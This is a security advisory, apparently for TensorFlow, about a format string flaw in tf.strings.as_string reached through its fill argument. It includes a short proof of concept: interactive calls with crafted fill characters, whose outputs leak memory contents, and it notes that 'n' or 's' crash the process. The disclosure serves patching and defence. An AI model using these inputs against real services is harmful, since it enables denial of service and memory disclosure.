Denial of Service in Tensorflow
Impact
By controlling the fill argument of tf.strings.as_string, a malicious attacker is able to trigger a format string vulnerability due to the way the internal format use in a printf call is constructed: https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/as_string_op.cc#L68-L74
This can result in unexpected output:
In [1]: tf.strings.as_string(input=[1234], width=6, fill='-')
Out[1]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['1234 '], dtype=object)>
In [2]: tf.strings.as_string(input=[1234], width=6, fill='+')
Out[2]: <tf.Tensor: shape=(1,), dtype=string, numpy=array([' +1234'], dtype=object)>
In [3]: tf.strings.as_string(input=[1234], width=6, fill="h")
Out[3]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['%6d'], dtype=object)>
In [4]: tf.strings.as_string(input=[1234], width=6, fill="d")
Out[4]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['12346d'], dtype=object)>
In [5]: tf.strings.as_string(input=[1234], width=6, fill="o")
Out[5]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['23226d'], dtype=object)>
In [6]: tf.strings.as_string(input=[1234], width=6, fill="x")
Out[6]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['4d26d'], dtype=object)>
In [7]: tf.strings.as_string(input=[1234], width=6, fill="g")
Out[7]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['8.67458e-3116d'], dtype=object)>
In [8]: tf.strings.as_string(input=[1234], width=6, fill="a")
Out[8]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['0x0.00ff7eebb4d4p-10226d'], dtype=object)>
In [9]: tf.strings.as_string(input=[1234], width=6, fill="c")
Out[9]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['\xd26d'], dtype=object)>
In [10]: tf.strings.as_string(input=[1234], width=6, fill="p")
Out[10]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['0x4d26d'], dtype=object)>
In [11]: tf.strings.as_string(input=[1234], width=6, fill='m')
Out[11]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['Success6d'], dtype=object)>However, passing in n or s results in segmentation fault.
